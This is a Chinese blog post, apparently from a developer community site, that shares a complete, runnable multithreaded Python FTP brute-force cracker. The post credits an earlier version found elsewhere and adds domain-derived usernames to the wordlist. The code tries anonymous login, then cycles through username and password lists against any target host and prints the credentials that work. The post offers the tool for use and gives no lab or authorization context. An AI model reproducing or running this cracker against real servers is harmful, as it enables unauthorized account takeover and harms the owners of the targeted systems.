工具分享(1):FTP暴力破解工具 [Python多线程版]

本文介绍了一款使用Python实现的FTP暴力破解工具,通过多线程加速破解过程,并增加了对域名的支持来提高破解成功率。
部署运行你感兴趣的模型镜像

工具分享(1):FTP暴力破解工具 [Python多线程版]

 

参考:https://www.waitalone.cn/python-ftp-mult.html

在他的基础上加了这么一个代码:如果用户输入的目标是域名,则将域名加入到爆破用户列表中,增加爆破成功率。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import ftplib, socket
import sys, time, re, os
from functools import partial
from multiprocessing.dummy import Pool as ThreadPool


def usage():
	print '+' + '-' * 50 + '+'
	print '\t	Python FTP暴力破解工具多线程版'
	print '\t\t Time:2014-09-05'
	print '+' + '-' * 50 + '+'
	if len(sys.argv) != 4:
		print "用法: "+os.path.basename(sys.argv[0])+" 待破解的ip/domain 用户名列表 字典列表"
		print "实例: "+os.path.basename(sys.argv[0])+" www.alin.cn user.txt pass.txt"
		sys.exit()


def brute_anony():
	try:
		print '[+] 测试匿名登陆……\n'
		ftp = ftplib.FTP()
		ftp.connect(host, 21, timeout=5)
		print 'FTP消息: %s \n' % ftp.getwelcome()
		ftp.login()
		ftp.retrlines('LIST')
		ftp.quit()
		print '\n[+] 匿名登陆成功……\n'
	except ftplib.all_errors:
		print '\n[-] 匿名登陆失败!\n'


def brute_users(user, pwd):
	try:
		ftp = ftplib.FTP()
		ftp.connect(host, 21, timeout=2)
		ftp.login(user, pwd)
		ftp.quit()
		print '\n[+] 破解成功,用户名:%s 密码:%s\n' % (user, pwd)
	except ftplib.all_errors:
		pass


if __name__ == '__main__':
	usage()
	start_time = time.time()
	thrdlist = []
	if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
		host = sys.argv[1]
	else:
		host = socket.gethostbyname(sys.argv[1])
		isExist = 0
		isExist1 = 0
		with open(sys.argv[2],'r') as tmp:
			for line in tmp.readlines():
				if sys.argv[1] in line:
					isExist = 1
					if isExist1 == 1:
						break
				if re.sub(r'\.\w+$','',sys.argv[1]) in line:
					isExist1 = 1
					if isExist == 1:
						break
		with open(sys.argv[2],"a") as f:
			if isExist == 0:
				f.write("\n"+sys.argv[1])
			if isExist1 == 0:
				f.write("\n"+re.sub(r'\.\w+$','',sys.argv[1]))
	userlist = [i.rstrip() for i in open(sys.argv[2])]
	passlist = [j.rstrip() for j in open(sys.argv[3])]
	print '目  标:%s \n' % sys.argv[1]
	print '用户名:%d 条\n' % len(userlist)
	print '密  码:%d 条\n' % len(passlist)
	brute_anony()
	print '\n[+] 暴力破解测试中……\n'
	for user in userlist:
		partial_user = partial(brute_users, user)
		pool = ThreadPool(10)
		pool.map(partial_user, passlist)
		pool.close()
		pool.join()
	print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)

 

您可能感兴趣的与本文相关的镜像

Python3.10

Python3.10

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值